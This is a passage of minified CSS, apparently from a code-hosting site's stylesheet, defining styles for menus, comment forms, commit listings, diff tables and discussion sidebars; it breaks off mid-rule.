.select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar 